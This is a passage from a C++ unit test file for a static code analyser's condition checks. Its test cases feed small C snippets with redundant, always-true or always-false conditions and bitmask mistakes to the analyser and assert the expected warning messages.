comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" do_something(&y);\\n\" // passing variable => no error\n \" if (y==8);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void do_something(int);\\n\"\n \"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" do_something(y);\\n\"\n \" if (y==8);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:8]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" extern int y; y = x & 7;\\n\"\n \" do_something();\\n\"\n \" if (y==8);\\n\" // non-local variable => no error\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4434 : false positive: ?:\n check(\"void f(int x) {\\n\"\n \" x = x & 1;\\n\"\n \" x = x & 1 ? 1 : -1;\\n\"\n \" if(x != -1) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4735\n check(\"void f() {\\n\"\n \" int x = *(char*)&0x12345678;\\n\"\n \" if (x==18) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: no variable info\n check(\"void foo(int x) {\\n\"\n \" y = 2 | x;\\n\" // y not declared => no error\n \" if(y == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: negative number\n check(\"void foo(int x) {\\n\"\n \" int y = -2 | x;\\n\" // negative number => no error\n \" if (y==1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: pass variable to function\n check(\"void foo(int x) {\\n\"\n \" int y = 2 | x;\\n\"\n \" bar(&y);\\n\" // pass variable to function => no error\n \" if (y==1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no crash on unary operator& (#5643)\n // #11610\n check(\"SdrObject* ApplyGraphicToObject() {\\n\"\n \" if (&rHitObject) {}\\n\"\n \" else if (rHitObject.IsClosedObj() && !&rHitObject) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Condition '&rHitObject' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:42]: (style) Condition '!&rHitObject' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // #5695: increment\n check(\"void f(int a0, int n) {\\n\"\n \" int c = a0 & 3;\\n\"\n \" for (int a = 0; a < n; a++) {\\n\"\n \" c++;\\n\"\n \" if (c == 4)\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) {\\n\" // #6662\n \" int x = a & 1;\\n\"\n \" while (x <= 4) {\\n\"\n \" if (x != 5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'x!=5' is always true. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\" // #6662\n \" int x = a & 1;\\n\"\n \" while ((x += 4) < 10) {\\n\"\n \" if (x != 5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 100;\\n\"\n \" while (x) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int x);\\n\"\n \"void f() {\\n\"\n \" int x = 100;\\n\"\n \" while (x) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void g(int & x);\\n\"\n \"void f() {\\n\"\n \" int x = 100;\\n\"\n \" while (x) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void mismatchingBitAnd() {\n check(\"void f(int a) {\\n\"\n \" int b = a & 0xf0;\\n\"\n \" b &= 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:5]: (style) Mismatching bitmasks. Result is always 0 (X = Y & 0xf0; Z = X & 0x1; => Z=0). [mismatchingBitAnd]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" int b = a & 0xf0;\\n\"\n \" int c = b & 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Mismatching bitmasks. Result is always 0 (X = Y & 0xf0; Z = X & 0x1; => Z=0). [mismatchingBitAnd]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" int b = a;\"\n \" switch (x) {\\n\"\n \" case 1: b &= 1; break;\\n\"\n \" case 2: b &= 2; break;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparison() {\n // CheckCondition::comparison test cases\n // '=='\n check(\"void f(int a) {\\n assert( (a & 0x07) == 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) == 0x8' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & b & 4 & c ) == 3 );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Expression '(X & 0x4) == 0x3' is always false. [comparisonError]\\n\", errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) == 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) == 0x8' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) == 7U );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x01) == -15 );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n // '!='\n check(\"void f(int a) {\\n assert( (a & 0x07) != 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) != 0x8' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) != 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) != 0x8' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) != 7U );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) != 7U );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n // '>='\n check(\"void f(int a) {\\n assert( (a & 0x07) >= 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) >= 0x8' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x7) >= 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) >= 0x7' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) >= 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) >= 8U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n // '>'\n check(\"void f(int a) {\\n assert( (a & 0x07) > 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) > 0x7' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x7) > 6U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) > 0x6' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) > 6U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) > 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n // '<='\n check(\"void f(int a) {\\n assert( (a & 0x07) <= 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) <= 0x7' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x08) <= 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x8) <= 0x7' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) <= 6U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x08) <= 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n // '<'\n check(\"void f(int a) {\\n assert( (a & 0x07) < 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) < 0x8' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x07) < 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) < 0x7' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) < 3U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) < 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n\n check(\"void f(int i) {\\n\" // #11998\n \" if ((i & 0x100) == 0x200) {}\\n\"\n \" if (0x200 == (i & 0x100)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\"\n \"[test.cpp:2:12]: (style) Expression '(X & 0x100) == 0x200' is always false. [comparisonError]\\n\"\n \"[test.cpp:3:21]: (style) Expression '(X & 0x100) == 0x200' is always false. [comparisonError]\\n\",\n errout_str());\n\n checkP(\"#define MACRO1 (0x0010)\\n\" // #13222\n \"#define MACRO2 (0x0020)\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f(int i, int j) {\\n\" // #13360\n \" int X = 0x10;\\n\"\n \" if ((i & 0xff00) == X) {}\\n\"\n \" if (X == (j & 0xff00)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Expression '(X & 0xff00) == 0x10' is always false. [comparisonError]\\n\"\n \"[test.cpp:4:17]: (style) Expression '(X & 0xff00) == 0x10' is always false. [comparisonError]\\n\",\n errout_str());\n }\n\n#define checkPureFunction(code) checkPureFunction_(code, __FILE__, __LINE__)\n void multicompare() {\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" if (x & 7);\\n\"\n \" else { if (x == 1); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 3. [multiCondition]\\n\", errout_str());\n\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" if (x & 7);\\n\"\n \" else { if (x & 1); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 3. [multiCondition]\\n\", errout_str());\n\n check(\"extern int bar() __attribute__((pure));\\n\"\n \"void foo(int x)\\n\"\n \"{\\n\"\n \" if ( bar() >1 && b) {}\\n\"\n \" else if (bar() >1 && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (style) Expression is always false because 'else if' condition matches previous condition at line 4. [multiCondition]\\n\", errout_str());\n\n checkPureFunction(\"extern int bar();\\n\"\n \"void foo(int x)\\n\"\n \"{\\n\"\n \" if ( bar() >1 && b) {}\\n\"\n \" else if (bar() >1 && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (style) Expression is always false because 'else if' condition matches previous condition at line 4. [multiCondition]\\n\", errout_str());\n\n // 7284\n check(\"void foo() {\\n\"\n \" if (a) {}\\n\"\n \" else if (!!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n // #11059\n check(\"int f();\\n\"\n \"void g() {\\n\"\n \" int i = f();\\n\"\n \" if (i == 3) {}\\n\"\n \" else if ((i = f()) == 5) {}\\n\"\n \" else if (i == 3) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"void g() {\\n\"\n \" int i = f();\\n\"\n \" if (i == 3) {}\\n\"\n \" else if ((i = f()) == 5) {}\\n\"\n \" else if (i != 3) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n template\n void checkPureFunction_(const char (&code)[size], const char* file, int line) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n void overlappingElseIfCondition() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) { b = 1; }\\n\"\n \" else { if (a) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) { b = 1; }\\n\"\n \" else { if (a) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1) { b = 1; }\\n\"\n \" else { if (a == 2) { b = 2; }\\n\"\n \" else { if (a == 1) { b = 3; } } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1) { b = 1; }\\n\"\n \" else { if (a == 2) { b = 2; }\\n\"\n \" else { if (a == 2) { b = 3; } } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 3. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a++) { b = 1; }\\n\"\n \" else { if (a++) { b = 2; }\\n\"\n \" else { if (a++) { b = 3; } } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (!strtok(NULL, \\\" \\\")) { b = 1; }\\n\"\n \" else { if (!strtok(NULL, \\\" \\\")) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(Class &c) {\\n\"\n \" if (c.dostuff() == 3) {}\\n\"\n \" else { if (c.dostuff() == 3) {} }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Class &c) {\\n\"\n \" if (c.dostuff() == 3) {}\\n\"\n \" else { if (c.dostuff() == 3) {} }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n }\n\n check(\"void f(int a, int &b) {\\n\"\n \" x = x / 2;\\n\"\n \" if (x < 100) { b = 1; }\\n\"\n \" else { x = x / 2; if (x < 100) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int64_t i) {\\n\"\n \" if(i == 0x02e2000000 || i == 0xa0c6000000)\\n\"\n \" foo(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 3689 ( avoid false positive )\n check(\"int fitInt(long long int nValue){\\n\"\n \" if( nValue < 0x7fffffffLL )\\n\"\n \" {\\n\"\n \" return 32;\\n\"\n \" }\\n\"\n \" if( nValue < 0x7fffffffffffLL )\\n\"\n \" {\\n\"\n \" return 48;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" if( nValue < 0x7fffffffffffffffLL )\\n\"\n \" {\\n\"\n \" return 64;\\n\"\n \" } else\\n\"\n \" {\\n\"\n \" return -1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(WIDGET *widget) {\\n\"\n \" if (dynamic_cast(widget)){}\\n\"\n \" else if (dynamic_cast(widget)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B { virtual void v() {} };\\n\" // #11037\n \"class D1 : public B {};\\n\"\n \"class D2 : public B {};\\n\"\n \"void f(const std::shared_ptr&p) {\\n\"\n \" const auto d1 = dynamic_cast(p.get());\\n\"\n \" const auto d2 = dynamic_cast(p.get());\\n\"\n \" if (d1) {}\\n\"\n \" else if (d2) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\" // #6482\n \" if (x & 1) {}\\n\"\n \" else if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x & 15) {}\\n\"\n \" else if (x == 40) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == sizeof(double)) {}\\n\"\n \" else { if (x == sizeof(long double)) {} }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x & 0x08) {}\\n\"\n \" else if (x & 0xF8) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x & 0xF8) {}\\n\"\n \" else if (x & 0x08) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!b && !!a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!b && a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( b && !!a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( b && !(!a)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!b && !(!a)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!(b) && !!(a+b)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8168\n check(\"enum MaskValues\\n\"\n \"{\\n\"\n \" Value1 = 0x00000001,\\n\"\n \" Value2 = 0x00000002\\n\"\n \"};\\n\"\n \"void TestFunction(int value) {\\n\"\n \" if ( value & (int)Value1 ) {}\\n\"\n \" else if ( value & (int)Value2 ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(size_t x) {\\n\"\n \" if (x == sizeof(int)) {}\\n\"\n \" else { if (x == sizeof(long))} {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(size_t x) {\\n\"\n \" if (x == sizeof(long)) {}\\n\"\n \" else { if (x == sizeof(long long))} {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeElseIfCondition() {\n setMultiline();\n\n check(\"void f(int x) {\\n\"\n \" if (x) {}\\n\"\n \" else if (!x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: style: Expression is always true because 'else if' condition is opposite to previous condition at line 2. [multiCondition]\\n\"\n \"[test.cpp:2:9]: note: first condition\\n\"\n \"[test.cpp:3:14]: note: else if condition is opposite to first condition\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = x;\\n\"\n \" if (x) {}\\n\"\n \" else if (!y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: style: Expression is always true because 'else if' condition is opposite to previous condition at line 3. [multiCondition]\\n\"\n \"[test.cpp:2:13]: note: 'y' is assigned value 'x' here.\\n\"\n \"[test.cpp:3:9]: note: first condition\\n\"\n \"[test.cpp:4:14]: note: else if condition is opposite to first condition\\n\", errout_str());\n }\n\n void checkBadBitmaskCheck() {\n check(\"bool f(int x) {\\n\"\n \" bool b = x | 0x02;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" bool b = 0x02 | x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" int b = x | 0x02;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" bool b = x & 0x02;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" if(x | 0x02)\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" int y = 0x1;\\n\"\n \" if(b) y = 0;\\n\"\n \" if(x | y)\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" foo(a && (x | 0x02));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" return (x | 0x02) ? 0 : 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" return x ? (x | 0x02) : 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" if (x) {\\n\"\n \" return x | 0x02;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"const bool f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"struct F {\\n\"\n \" static const bool f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"struct F {\\n\"\n \" typedef bool b_t;\\n\"\n \"};\\n\"\n \"F::b_t f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void create_rop_masks_4( rop_mask_bits *bits) {\\n\"\n \"DWORD mask_offset;\\n\"\n \"BYTE *and_bits = bits->and;\\n\"\n \"rop_mask *rop_mask;\\n\"\n \"and_bits[mask_offset] |= (rop_mask->and & 0x0f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned a, unsigned b) {\\n\"\n \" unsigned cmd1 = b & 0x0F;\\n\"\n \" if (cmd1 | a) {\\n\"\n \" if (b == 0x0C) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\" // #11082\n \" int j = 0;\\n\"\n \" if (i | j) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Operator '|' with one operand equal to zero is redundant. [badBitmaskCheck]\\n\", errout_str());\n\n check(\"#define EIGHTTOIS(x) (((x) << 8) | (x))\\n\"\n \"int f() {\\n\"\n \" return EIGHTTOIS(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define O_RDONLY 0\\n\"\n \"void f(const char* s, int* pFd) {\\n\"\n \" *pFd = open(s, O_RDONLY | O_BINARY, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int FEATURE_BITS = x |\\n\"\n \"#if FOO_ENABLED\\n\"\n \" FEATURE_FOO |\\n\"\n \"#endif\\n\"\n \"#if BAR_ENABLED\\n\"\n \" FEATURE_BAR |\\n\"\n \"#endif\\n\"\n \" 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum precedence { PC0, UNARY };\\n\"\n \"int x = PC0 | UNARY;\\n\"\n \"int y = UNARY | PC0;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define MASK 0\\n\"\n \"#define SHIFT 1\\n\"\n \"int x = 1 | (MASK << SHIFT);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void incorrectLogicOperator1() {\n check(\"void f(int x) {\\n\"\n \" if ((x != 1) || (x != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Logical disjunction always evaluates to true: x != 1 || x != 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 != x || 3 != x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x != 1 || x != 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x<0 && !x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Logical conjunction always evaluates to false: x < 0 && !x. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x==0 && x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Logical conjunction always evaluates to false: x == 0 && x. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\" // ast..\n \" if (y == 1 && x == 1 && x == 7) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (warning) Logical conjunction always evaluates to false: x == 1 && x == 7. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if (x != 1 || y != 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((y == 1) && (x != 1) || (x != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != 1) || (x != 3) && (y == 1))\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:2:24]: (style) Condition 'x!=3' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x != 1) && (x != 3))\\n\"\n \" 